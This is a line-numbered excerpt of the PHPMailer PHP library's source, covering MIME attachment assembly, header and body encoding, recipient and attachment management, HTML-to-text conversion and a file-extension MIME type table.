9877 // RFC1341 part 5 says 7bit is assumed if not specified
9878 if ($encoding != '7bit') {
9879 $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
9880 }
9881 $result .= $this->LE;
9882
9883 return $result;
9884 }
9885
9886 /**
9887 * Return the end of a message boundary.
9888 * @access protected
9889 * @param string $boundary
9890 * @return string
9891 */
9892 protected function endBoundary($boundary)
9893 {
9894 return $this->LE . '--' . $boundary . '--' . $this->LE;
9895 }
9896
9897 /**
9898 * Set the message type.
9899 * PHPMailer only supports some preset message types,
9900 * not arbitrary MIME structures.
9901 * @access protected
9902 * @return void
9903 */
9904 protected function setMessageType()
9905 {
9906 $type = array();
9907 if ($this->alternativeExists()) {
9908 $type[] = 'alt';
9909 }
9910 if ($this->inlineImageExists()) {
9911 $type[] = 'inline';
9912 }
9913 if ($this->attachmentExists()) {
9914 $type[] = 'attach';
9915 }
9916 $this->message_type = implode('_', $type);
9917 if ($this->message_type == '') {
9918 $this->message_type = 'plain';
9919 }
9920 }
9921
9922 /**
9923 * Format a header line.
9924 * @access public
9925 * @param string $name
9926 * @param string $value
9927 * @return string
9928 */
9929 public function headerLine($name, $value)
9930 {
9931 return $name . ': ' . $value . $this->LE;
9932 }
9933
9934 /**
9935 * Return a formatted mail line.
9936 * @access public
9937 * @param string $value
9938 * @return string
9939 */
9940 public function textLine($value)
9941 {
9942 return $value . $this->LE;
9943 }
9944
9945 /**
9946 * Add an attachment from a path on the filesystem.
9947 * Returns false if the file could not be found or read.
9948 * @param string $path Path to the attachment.
9949 * @param string $name Overrides the attachment name.
9950 * @param string $encoding File encoding (see $Encoding).
9951 * @param string $type File extension (MIME) type.
9952 * @param string $disposition Disposition to use
9953 * @throws phpmailerException
9954 * @return boolean
9955 */
9956 public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
9957 {
9958 try {
9959 if (!@is_file($path)) {
9960 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
9961 }
9962
9963 // If a MIME type is not specified, try to work it out from the file name
9964 if ($type == '') {
9965 $type = self::filenameToType($path);
9966 }
9967
9968 $filename = basename($path);
9969 if ($name == '') {
9970 $name = $filename;
9971 }
9972
9973 $this->attachment[] = array(
9974 0 => $path,
9975 1 => $filename,
9976 2 => $name,
9977 3 => $encoding,
9978 4 => $type,
9979 5 => false, // isStringAttachment
9980 6 => $disposition,
9981 7 => 0
9982 );
9983
9984 } catch (phpmailerException $exc) {
9985 $this->setError($exc->getMessage());
9986 $this->edebug($exc->getMessage());
9987 if ($this->exceptions) {
9988 throw $exc;
9989 }
9990 return false;
9991 }
9992 return true;
9993 }
9994
9995 /**
9996 * Return the array of attachments.
9997 * @return array
9998 */
9999 public function getAttachments()
10000 {
10001 return $this->attachment;
10002 }
10003
10004 /**
10005 * Attach all file, string, and binary attachments to the message.
10006 * Returns an empty string on failure.
10007 * @access protected
10008 * @param string $disposition_type
10009 * @param string $boundary
10010 * @return string
10011 */
10012 protected function attachAll($disposition_type, $boundary)
10013 {
10014 // Return text of body
10015 $mime = array();
10016 $cidUniq = array();
10017 $incl = array();
10018
10019 // Add all attachments
10020 foreach ($this->attachment as $attachment) {
10021 // Check if it is a valid disposition_filter
10022 if ($attachment[6] == $disposition_type) {
10023 // Check for string attachment
10024 $string = '';
10025 $path = '';
10026 $bString = $attachment[5];
10027 if ($bString) {
10028 $string = $attachment[0];
10029 } else {
10030 $path = $attachment[0];
10031 }
10032
10033 $inclhash = md5(serialize($attachment));
10034 if (in_array($inclhash, $incl)) {
10035 continue;
10036 }
10037 $incl[] = $inclhash;
10038 $name = $attachment[2];
10039 $encoding = $attachment[3];
10040 $type = $attachment[4];
10041 $disposition = $attachment[6];
10042 $cid = $attachment[7];
10043 if ($disposition == 'inline' && isset($cidUniq[$cid])) {
10044 continue;
10045 }
10046 $cidUniq[$cid] = true;
10047
10048 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
10049 $mime[] = sprintf(
10050 'Content-Type: %s; name="%s"%s',
10051 $type,
10052 $this->encodeHeader($this->secureHeader($name)),
10053 $this->LE
10054 );
10055 // RFC1341 part 5 says 7bit is assumed if not specified
10056 if ($encoding != '7bit') {
10057 $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
10058 }
10059
10060 if ($disposition == 'inline') {
10061 $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
10062 }
10063
10064 // If a filename contains any of these chars, it should be quoted,
10065 // but not otherwise: RFC2183 & RFC2045 5.1
10066 // Fixes a warning in IETF's msglint MIME checker
10067 // Allow for bypassing the Content-Disposition header totally
10068 if (!(empty($disposition))) {
10069 $encoded_name = $this->encodeHeader($this->secureHeader($name));
10070 if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
10071 $mime[] = sprintf(
10072 'Content-Disposition: %s; filename="%s"%s',
10073 $disposition,
10074 $encoded_name,
10075 $this->LE . $this->LE
10076 );
10077 } else {
10078 $mime[] = sprintf(
10079 'Content-Disposition: %s; filename=%s%s',
10080 $disposition,
10081 $encoded_name,
10082 $this->LE . $this->LE
10083 );
10084 }
10085 } else {
10086 $mime[] = $this->LE;
10087 }
10088
10089 // Encode as string attachment
10090 if ($bString) {
10091 $mime[] = $this->encodeString($string, $encoding);
10092 if ($this->isError()) {
10093 return '';
10094 }
10095 $mime[] = $this->LE . $this->LE;
10096 } else {
10097 $mime[] = $this->encodeFile($path, $encoding);
10098 if ($this->isError()) {
10099 return '';
10100 }
10101 $mime[] = $this->LE . $this->LE;
10102 }
10103 }
10104 }
10105
10106 $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
10107
10108 return implode('', $mime);
10109 }
10110
10111 /**
10112 * Encode a file attachment in requested format.
10113 * Returns an empty string on failure.
10114 * @param string $path The full path to the file
10115 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
10116 * @throws phpmailerException
10117 * @see EncodeFile(encodeFile
10118 * @access protected
10119 * @return string
10120 */
10121 protected function encodeFile($path, $encoding = 'base64')
10122 {
10123 try {
10124 if (!is_readable($path)) {
10125 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
10126 }
10127 $magic_quotes = get_magic_quotes_runtime();
10128 if ($magic_quotes) {
10129 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
10130 set_magic_quotes_runtime(false);
10131 } else {
10132 //Doesn't exist in PHP 5.4, but we don't need to check because
10133 //get_magic_quotes_runtime always returns false in 5.4+
10134 //so it will never get here
10135 ini_set('magic_quotes_runtime', 0);
10136 }
10137 }
10138 $file_buffer = file_get_contents($path);
10139 $file_buffer = $this->encodeString($file_buffer, $encoding);
10140 if ($magic_quotes) {
10141 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
10142 set_magic_quotes_runtime($magic_quotes);
10143 } else {
10144 ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));
10145 }
10146 }
10147 return $file_buffer;
10148 } catch (Exception $exc) {
10149 $this->setError($exc->getMessage());
10150 return '';
10151 }
10152 }
10153
10154 /**
10155 * Encode a string in requested format.
10156 * Returns an empty string on failure.
10157 * @param string $str The text to encode
10158 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
10159 * @access public
10160 * @return string
10161 */
10162 public function encodeString($str, $encoding = 'base64')
10163 {
10164 $encoded = '';
10165 switch (strtolower($encoding)) {
10166 case 'base64':
10167 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
10168 break;
10169 case '7bit':
10170 case '8bit':
10171 $encoded = $this->fixEOL($str);
10172 // Make sure it ends with a line break
10173 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
10174 $encoded .= $this->LE;
10175 }
10176 break;
10177 case 'binary':
10178 $encoded = $str;
10179 break;
10180 case 'quoted-printable':
10181 $encoded = $this->encodeQP($str);
10182 break;
10183 default:
10184 $this->setError($this->lang('encoding') . $encoding);
10185 break;
10186 }
10187 return $encoded;
10188 }
10189
10190 /**
10191 * Encode a header string optimally.
10192 * Picks shortest of Q, B, quoted-printable or none.
10193 * @access public
10194 * @param string $str
10195 * @param string $position
10196 * @return string
10197 */
10198 public function encodeHeader($str, $position = 'text')
10199 {
10200 $matchcount = 0;
10201 switch (strtolower($position)) {
10202 case 'phrase':
10203 if (!preg_match('/[\200-\377]/', $str)) {
10204 // Can't use addslashes as we don't know the value of magic_quotes_sybase
10205 $encoded = addcslashes($str, "\0..\37\177\\\"");
10206 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
10207 return ($encoded);
10208 } else {
10209 return ("\"$encoded\"");
10210 }
10211 }
10212 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
10213 break;
10214 /** @noinspection PhpMissingBreakStatementInspection */
10215 case 'comment':
10216 $matchcount = preg_match_all('/[()"]/', $str, $matches);
10217 // Intentional fall-through
10218 case 'text':
10219 default:
10220 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
10221 break;
10222 }
10223
10224 if ($matchcount == 0) { // There are no chars that need encoding
10225 return ($str);
10226 }
10227
10228 $maxlen = 75 - 7 - strlen($this->CharSet);
10229 // Try to select the encoding which should produce the shortest output
10230 if ($matchcount > strlen($str) / 3) {
10231 // More than a third of the content will need encoding, so B encoding will be most efficient
10232 $encoding = 'B';
10233 if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
10234 // Use a custom function which correctly encodes and wraps long
10235 // multibyte strings without breaking lines within a character
10236 $encoded = $this->base64EncodeWrapMB($str, "\n");
10237 } else {
10238 $encoded = base64_encode($str);
10239 $maxlen -= $maxlen % 4;
10240 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
10241 }
10242 } else {
10243 $encoding = 'Q';
10244 $encoded = $this->encodeQ($str, $position);
10245 $encoded = $this->wrapText($encoded, $maxlen, true);
10246 $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
10247 }
10248
10249 $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
10250 $encoded = trim(str_replace("\n", $this->LE, $encoded));
10251
10252 return $encoded;
10253 }
10254
10255 /**
10256 * Check if a string contains multi-byte characters.
10257 * @access public
10258 * @param string $str multi-byte text to wrap encode
10259 * @return boolean
10260 */
10261 public function hasMultiBytes($str)
10262 {
10263 if (function_exists('mb_strlen')) {
10264 return (strlen($str) > mb_strlen($str, $this->CharSet));
10265 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
10266 return false;
10267 }
10268 }
10269
10270 /**
10271 * Does a string contain any 8-bit chars (in any charset)?
10272 * @param string $text
10273 * @return boolean
10274 */
10275 public function has8bitChars($text)
10276 {
10277 return (boolean)preg_match('/[\x80-\xFF]/', $text);
10278 }
10279
10280 /**
10281 * Encode and wrap long multibyte strings for mail headers
10282 * without breaking lines within a character.
10283 * Adapted from a function by paravoid
10284 * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
10285 * @access public
10286 * @param string $str multi-byte text to wrap encode
10287 * @param string $linebreak string to use as linefeed/end-of-line
10288 * @return string
10289 */
10290 public function base64EncodeWrapMB($str, $linebreak = null)
10291 {
10292 $start = '=?' . $this->CharSet . '?B?';
10293 $end = '?=';
10294 $encoded = '';
10295 if ($linebreak === null) {
10296 $linebreak = $this->LE;
10297 }
10298
10299 $mb_length = mb_strlen($str, $this->CharSet);
10300 // Each line must have length <= 75, including $start and $end
10301 $length = 75 - strlen($start) - strlen($end);
10302 // Average multi-byte ratio
10303 $ratio = $mb_length / strlen($str);
10304 // Base64 has a 4:3 ratio
10305 $avgLength = floor($length * $ratio * .75);
10306
10307 for ($i = 0; $i < $mb_length; $i += $offset) {
10308 $lookBack = 0;
10309 do {
10310 $offset = $avgLength - $lookBack;
10311 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
10312 $chunk = base64_encode($chunk);
10313 $lookBack++;
10314 } while (strlen($chunk) > $length);
10315 $encoded .= $chunk . $linebreak;
10316 }
10317
10318 // Chomp the last linefeed
10319 $encoded = substr($encoded, 0, -strlen($linebreak));
10320 return $encoded;
10321 }
10322
10323 /**
10324 * Encode a string in quoted-printable format.
10325 * According to RFC2045 section 6.7.
10326 * @access public
10327 * @param string $string The text to encode
10328 * @param integer $line_max Number of chars allowed on a line before wrapping
10329 * @return string
10330 * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
10331 */
10332 public function encodeQP($string, $line_max = 76)
10333 {
10334 if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3)
10335 return $this->fixEOL(quoted_printable_encode($string));
10336 }
10337 // Fall back to a pure PHP implementation
10338 $string = str_replace(
10339 array('%20', '%0D%0A.', '%0D%0A', '%'),
10340 array(' ', "\r\n=2E", "\r\n", '='),
10341 rawurlencode($string)
10342 );
10343 $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
10344 return $this->fixEOL($string);
10345 }
10346
10347 /**
10348 * Backward compatibility wrapper for an old QP encoding function that was removed.
10349 * @see PHPMailer::encodeQP()
10350 * @access public
10351 * @param string $string
10352 * @param integer $line_max
10353 * @param boolean $space_conv
10354 * @return string
10355 * @deprecated Use encodeQP instead.
10356 */
10357 public function encodeQPphp(
10358 $string,
10359 $line_max = 76,
10360 /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
10361 ) {
10362 return $this->encodeQP($string, $line_max);
10363 }
10364
10365 /**
10366 * Encode a string using Q encoding.
10367 * @link http://tools.ietf.org/html/rfc2047
10368 * @param string $str the text to encode
10369 * @param string $position Where the text is going to be used, see the RFC for what that means
10370 * @access public
10371 * @return string
10372 */
10373 public function encodeQ($str, $position = 'text')
10374 {
10375 // There should not be any EOL in the string
10376 $pattern = '';
10377 $encoded = str_replace(array("\r", "\n"), '', $str);
10378 switch (strtolower($position)) {
10379 case 'phrase':
10380 // RFC 2047 section 5.3
10381 $pattern = '^A-Za-z0-9!*+\/ -';
10382 break;
10383 /** @noinspection PhpMissingBreakStatementInspection */
10384 case 'comment':
10385 // RFC 2047 section 5.2
10386 $pattern = '\(\)"';
10387 // intentional fall-through
10388 // for this reason we build the $pattern without including delimiters and []
10389 case 'text':
10390 default:
10391 // RFC 2047 section 5.1
10392 // Replace every high ascii, control, =, ? and _ characters
10393 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
10394 break;
10395 }
10396 $matches = array();
10397 if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
10398 // If the string contains an '=', make sure it's the first thing we replace
10399 // so as to avoid double-encoding
10400 $eqkey = array_search('=', $matches[0]);
10401 if (false !== $eqkey) {
10402 unset($matches[0][$eqkey]);
10403 array_unshift($matches[0], '=');
10404 }
10405 foreach (array_unique($matches[0]) as $char) {
10406 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
10407 }
10408 }
10409 // Replace every spaces to _ (more readable than =20)
10410 return str_replace(' ', '_', $encoded);
10411 }
10412
10413
10414 /**
10415 * Add a string or binary attachment (non-filesystem).
10416 * This method can be used to attach ascii or binary data,
10417 * such as a BLOB record from a database.
10418 * @param string $string String attachment data.
10419 * @param string $filename Name of the attachment.
10420 * @param string $encoding File encoding (see $Encoding).
10421 * @param string $type File extension (MIME) type.
10422 * @param string $disposition Disposition to use
10423 * @return void
10424 */
10425 public function addStringAttachment(
10426 $string,
10427 $filename,
10428 $encoding = 'base64',
10429 $type = '',
10430 $disposition = 'attachment'
10431 ) {
10432 // If a MIME type is not specified, try to work it out from the file name
10433 if ($type == '') {
10434 $type = self::filenameToType($filename);
10435 }
10436 // Append to $attachment array
10437 $this->attachment[] = array(
10438 0 => $string,
10439 1 => $filename,
10440 2 => basename($filename),
10441 3 => $encoding,
10442 4 => $type,
10443 5 => true, // isStringAttachment
10444 6 => $disposition,
10445 7 => 0
10446 );
10447 }
10448
10449 /**
10450 * Add an embedded (inline) attachment from a file.
10451 * This can include images, sounds, and just about any other document type.
10452 * These differ from 'regular' attachments in that they are intended to be
10453 * displayed inline with the message, not just attached for download.
10454 * This is used in HTML messages that embed the images
10455 * the HTML refers to using the $cid value.
10456 * @param string $path Path to the attachment.
10457 * @param string $cid Content ID of the attachment; Use this to reference
10458 * the content when using an embedded image in HTML.
10459 * @param string $name Overrides the attachment name.
10460 * @param string $encoding File encoding (see $Encoding).
10461 * @param string $type File MIME type.
10462 * @param string $disposition Disposition to use
10463 * @return boolean True on successfully adding an attachment
10464 */
10465 public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
10466 {
10467 if (!@is_file($path)) {
10468 $this->setError($this->lang('file_access') . $path);
10469 return false;
10470 }
10471
10472 // If a MIME type is not specified, try to work it out from the file name
10473 if ($type == '') {
10474 $type = self::filenameToType($path);
10475 }
10476
10477 $filename = basename($path);
10478 if ($name == '') {
10479 $name = $filename;
10480 }
10481
10482 // Append to $attachment array
10483 $this->attachment[] = array(
10484 0 => $path,
10485 1 => $filename,
10486 2 => $name,
10487 3 => $encoding,
10488 4 => $type,
10489 5 => false, // isStringAttachment
10490 6 => $disposition,
10491 7 => $cid
10492 );
10493 return true;
10494 }
10495
10496 /**
10497 * Add an embedded stringified attachment.
10498 * This can include images, sounds, and just about any other document type.
10499 * Be sure to set the $type to an image type for images:
10500 * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
10501 * @param string $string The attachment binary data.
10502 * @param string $cid Content ID of the attachment; Use this to reference
10503 * the content when using an embedded image in HTML.
10504 * @param string $name
10505 * @param string $encoding File encoding (see $Encoding).
10506 * @param string $type MIME type.
10507 * @param string $disposition Disposition to use
10508 * @return boolean True on successfully adding an attachment
10509 */
10510 public function addStringEmbeddedImage(
10511 $string,
10512 $cid,
10513 $name = '',
10514 $encoding = 'base64',
10515 $type = '',
10516 $disposition = 'inline'
10517 ) {
10518 // If a MIME type is not specified, try to work it out from the name
10519 if ($type == '') {
10520 $type = self::filenameToType($name);
10521 }
10522
10523 // Append to $attachment array
10524 $this->attachment[] = array(
10525 0 => $string,
10526 1 => $name,
10527 2 => $name,
10528 3 => $encoding,
10529 4 => $type,
10530 5 => true, // isStringAttachment
10531 6 => $disposition,
10532 7 => $cid
10533 );
10534 return true;
10535 }
10536
10537 /**
10538 * Check if an inline attachment is present.
10539 * @access public
10540 * @return boolean
10541 */
10542 public function inlineImageExists()
10543 {
10544 foreach ($this->attachment as $attachment) {
10545 if ($attachment[6] == 'inline') {
10546 return true;
10547 }
10548 }
10549 return false;
10550 }
10551
10552 /**
10553 * Check if an attachment (non-inline) is present.
10554 * @return boolean
10555 */
10556 public function attachmentExists()
10557 {
10558 foreach ($this->attachment as $attachment) {
10559 if ($attachment[6] == 'attachment') {
10560 return true;
10561 }
10562 }
10563 return false;
10564 }
10565
10566 /**
10567 * Check if this message has an alternative body set.
10568 * @return boolean
10569 */
10570 public function alternativeExists()
10571 {
10572 return !empty($this->AltBody);
10573 }
10574
10575 /**
10576 * Clear all To recipients.
10577 * @return void
10578 */
10579 public function clearAddresses()
10580 {
10581 foreach ($this->to as $to) {
10582 unset($this->all_recipients[strtolower($to[0])]);
10583 }
10584 $this->to = array();
10585 }
10586
10587 /**
10588 * Clear all CC recipients.
10589 * @return void
10590 */
10591 public function clearCCs()
10592 {
10593 foreach ($this->cc as $cc) {
10594 unset($this->all_recipients[strtolower($cc[0])]);
10595 }
10596 $this->cc = array();
10597 }
10598
10599 /**
10600 * Clear all BCC recipients.
10601 * @return void
10602 */
10603 public function clearBCCs()
10604 {
10605 foreach ($this->bcc as $bcc) {
10606 unset($this->all_recipients[strtolower($bcc[0])]);
10607 }
10608 $this->bcc = array();
10609 }
10610
10611 /**
10612 * Clear all ReplyTo recipients.
10613 * @return void
10614 */
10615 public function clearReplyTos()
10616 {
10617 $this->ReplyTo = array();
10618 }
10619
10620 /**
10621 * Clear all recipient types.
10622 * @return void
10623 */
10624 public function clearAllRecipients()
10625 {
10626 $this->to = array();
10627 $this->cc = array();
10628 $this->bcc = array();
10629 $this->all_recipients = array();
10630 }
10631
10632 /**
10633 * Clear all filesystem, string, and binary attachments.
10634 * @return void
10635 */
10636 public function clearAttachments()
10637 {
10638 $this->attachment = array();
10639 }
10640
10641 /**
10642 * Clear all custom headers.
10643 * @return void
10644 */
10645 public function clearCustomHeaders()
10646 {
10647 $this->CustomHeader = array();
10648 }
10649
10650 /**
10651 * Add an error message to the error container.
10652 * @access protected
10653 * @param string $msg
10654 * @return void
10655 */
10656 protected function setError($msg)
10657 {
10658 $this->error_count++;
10659 if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
10660 $lasterror = $this->smtp->getError();
10661 if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
10662 $msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
10663 }
10664 }
10665 $this->ErrorInfo = $msg;
10666 }
10667
10668 /**
10669 * Return an RFC 822 formatted date.
10670 * @access public
10671 * @return string
10672 * @static
10673 */
10674 public static function rfcDate()
10675 {
10676 // Set the time zone to whatever the default is to avoid 500 errors
10677 // Will default to UTC if it's not set properly in php.ini
10678 date_default_timezone_set(@date_default_timezone_get());
10679 return date('D, j M Y H:i:s O');
10680 }
10681
10682 /**
10683 * Get the server hostname.
10684 * Returns 'localhost.localdomain' if unknown.
10685 * @access protected
10686 * @return string
10687 */
10688 protected function serverHostname()
10689 {
10690 $result = 'localhost.localdomain';
10691 if (!empty($this->Hostname)) {
10692 $result = $this->Hostname;
10693 } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
10694 $result = $_SERVER['SERVER_NAME'];
10695 } elseif (function_exists('gethostname') && gethostname() !== false) {
10696 $result = gethostname();
10697 } elseif (php_uname('n') !== false) {
10698 $result = php_uname('n');
10699 }
10700 return $result;
10701 }
10702
10703 /**
10704 * Get an error message in the current language.
10705 * @access protected
10706 * @param string $key
10707 * @return string
10708 */
10709 protected function lang($key)
10710 {
10711 if (count($this->language) < 1) {
10712 $this->setLanguage('en'); // set the default language
10713 }
10714
10715 if (isset($this->language[$key])) {
10716 return $this->language[$key];
10717 } else {
10718 return 'Language string failed to load: ' . $key;
10719 }
10720 }
10721
10722 /**
10723 * Check if an error occurred.
10724 * @access public
10725 * @return boolean True if an error did occur.
10726 */
10727 public function isError()
10728 {
10729 return ($this->error_count > 0);
10730 }
10731
10732 /**
10733 * Ensure consistent line endings in a string.
10734 * Changes every end of line from CRLF, CR or LF to $this->LE.
10735 * @access public
10736 * @param string $str String to fixEOL
10737 * @return string
10738 */
10739 public function fixEOL($str)
10740 {
10741 // Normalise to \n
10742 $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
10743 // Now convert LE as needed
10744 if ($this->LE !== "\n") {
10745 $nstr = str_replace("\n", $this->LE, $nstr);
10746 }
10747 return $nstr;
10748 }
10749
10750 /**
10751 * Add a custom header.
10752 * $name value can be overloaded to contain
10753 * both header name and value (name:value)
10754 * @access public
10755 * @param string $name Custom header name
10756 * @param string $value Header value
10757 * @return void
10758 */
10759 public function addCustomHeader($name, $value = null)
10760 {
10761 if ($value === null) {
10762 // Value passed in as name:value
10763 $this->CustomHeader[] = explode(':', $name, 2);
10764 } else {
10765 $this->CustomHeader[] = array($name, $value);
10766 }
10767 }
10768
10769 /**
10770 * Create a message from an HTML string.
10771 * Automatically makes modifications for inline images and backgrounds
10772 * and creates a plain-text version by converting the HTML.
10773 * Overwrites any existing values in $this->Body and $this->AltBody
10774 * @access public
10775 * @param string $message HTML message string
10776 * @param string $basedir baseline directory for path
10777 * @param boolean|callable $advanced Whether to use the internal HTML to text converter
10778 * or your own custom converter @see html2text()
10779 * @return string $message
10780 */
10781 public function msgHTML($message, $basedir = '', $advanced = false)
10782 {
10783 preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
10784 if (isset($images[2])) {
10785 foreach ($images[2] as $imgindex => $url) {
10786 // Convert data URIs into embedded images
10787 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
10788 $data = substr($url, strpos($url, ','));
10789 if ($match[2]) {
10790 $data = base64_decode($data);
10791 } else {
10792 $data = rawurldecode($data);
10793 }
10794 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
10795 if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
10796 $message = str_replace(
10797 $images[0][$imgindex],
10798 $images[1][$imgindex] . '="cid:' . $cid . '"',
10799 $message
10800 );
10801 }
10802 } elseif (!preg_match('#^[A-z]+://#', $url)) {
10803 // Do not change urls for absolute images (thanks to corvuscorax)
10804 $filename = basename($url);
10805 $directory = dirname($url);
10806 if ($directory == '.') {
10807 $directory = '';
10808 }
10809 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
10810 if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
10811 $basedir .= '/';
10812 }
10813 if (strlen($directory) > 1 && substr($directory, -1) != '/') {
10814 $directory .= '/';
10815 }
10816 if ($this->addEmbeddedImage(
10817 $basedir . $directory . $filename,
10818 $cid,
10819 $filename,
10820 'base64',
10821 self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
10822 )
10823 ) {
10824 $message = preg_replace(
10825 '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
10826 $images[1][$imgindex] . '="cid:' . $cid . '"',
10827 $message
10828 );
10829 }
10830 }
10831 }
10832 }
10833 $this->isHTML(true);
10834 // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
10835 $this->Body = $this->normalizeBreaks($message);
10836 $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
10837 if (empty($this->AltBody)) {
10838 $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
10839 self::CRLF . self::CRLF;
10840 }
10841 return $this->Body;
10842 }
10843
10844 /**
10845 * Convert an HTML string into plain text.
10846 * This is used by msgHTML().
10847 * Note - older versions of this function used a bundled advanced converter
10848 * which was been removed for license reasons in #232
10849 * Example usage:
10850 * <code>
10851 * // Use default conversion
10852 * $plain = $mail->html2text($html);
10853 * // Use your own custom converter
10854 * $plain = $mail->html2text($html, function($html) {
10855 * $converter = new MyHtml2text($html);
10856 * return $converter->get_text();
10857 * });
10858 * </code>
10859 * @param string $html The HTML text to convert
10860 * @param boolean|callable $advanced Any boolean value to use the internal converter,
10861 * or provide your own callable for custom conversion.
10862 * @return string
10863 */
10864 public function html2text($html, $advanced = false)
10865 {
10866 if (is_callable($advanced)) {
10867 return call_user_func($advanced, $html);
10868 }
10869 return html_entity_decode(
10870 trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
10871 ENT_QUOTES,
10872 $this->CharSet
10873 );
10874 }
10875
10876 /**
10877 * Get the MIME type for a file extension.
10878 * @param string $ext File extension
10879 * @access public
10880 * @return string MIME type of file.
10881 * @static
10882 */
10883 public static function _mime_types($ext = '')
10884 {
10885 $mimes = array(
10886 'xl' => 'application/excel',
10887 'js' => 'application/javascript',
10888 'hqx' => 'application/mac-binhex40',
10889 'cpt' => 'application/mac-compactpro',
10890 'bin' => 'application/macbinary',
10891 'doc' => 'application/msword',
10892 'word' => 'application/msword',
10893 'class' => 'application/octet-stream',
10894 'dll' => 'application/octet-stream',
10895 'dms' => 'application/octet-stream',
10896 'exe' => 'application/octet-stream',
10897 'lha' => 'application/octet-stream',
10898 'lzh' => 'application/octet-stream',
10899 'psd' => 'application/octet-stream',
10900 'sea' => 'application/octet-stream',
10901 'so' => 'application/octet-stream',
10902 'oda' => 'application/oda',
10903 'pdf' => 'application/pdf',
10904 'ai' => 'application/postscript',
10905 'eps' => 'application/postscript',
10906 'ps' => 'application/postscript',
10907 'smi' => 'application/smil',
10908 'smil' => 'application/smil',
10909 'mif' => 'application/vnd.mif',
10910 'xls' => 'application/vnd.ms-excel',
10911 'ppt' => 'application/vnd.ms-powerpoint',
10912 'wbxml' => 'application/vnd.wap.wbxml',
10913 'wmlc' => 'application/vnd.wap.wmlc',
10914 'dcr' => 'application/x-director',
10915 'dir' => 'application/x-director',
10916 'dxr' => 'application/x-director',
10917 'dvi' => 'application/x-dvi',
10918 'gtar' => 'application/x-gtar',
10919 'php3' => 'application/x-httpd-php',
10920 'php4' => 'application/x-httpd-php',
10921 'php' => 'application/x-httpd-php',
10922 'phtml' => 'application/x-httpd-php',
10923 'phps' => 'application/x-httpd-php-source',
10924 'swf' => 'application/x-shockwave-flash',
10925 'sit' => 'application/x-stuffit',
10926 'tar' => 'application/x-tar',
10927 'tgz' => 'application/x-tar',
10928 'xht' => 'application/xhtml+xml',
10929 'xhtml' => 'application/xhtml+xml',
10930 'zip' => 'application/zip',
10931 'mid' => 'audio/midi',
10932 'midi' => 'audio/midi',
10933 'mp2' => 'audio/mpeg',
10934 'mp3' => 'audio/mpeg',
10935 'mpga' => 'audio/mpeg',
10936 'aif' => 'audio/x-aiff',
10937 'aifc' => 'audio/x-aiff',
10938 'aiff' => 'audio/x-aiff',
10939 'ram' => 'audio/x-pn-realaudio',
10940 'rm' => 'audio/x-pn-realaudio',
10941 'rpm' => 'audio/x-pn-realaudio-plugin',
10942 'ra' => 'audio/x-realaudio',
10943 'wav' => 'audio/x-wav',
10944 'bmp' => 'image/bmp',
10945 'gif' => 'image/gif',
10946 'jpeg' => 'image/jpeg',
10947 'jpe' => 'image/jpeg',
10948 'jpg' => 'image/jpeg',
10949 'png' => 'image/png',
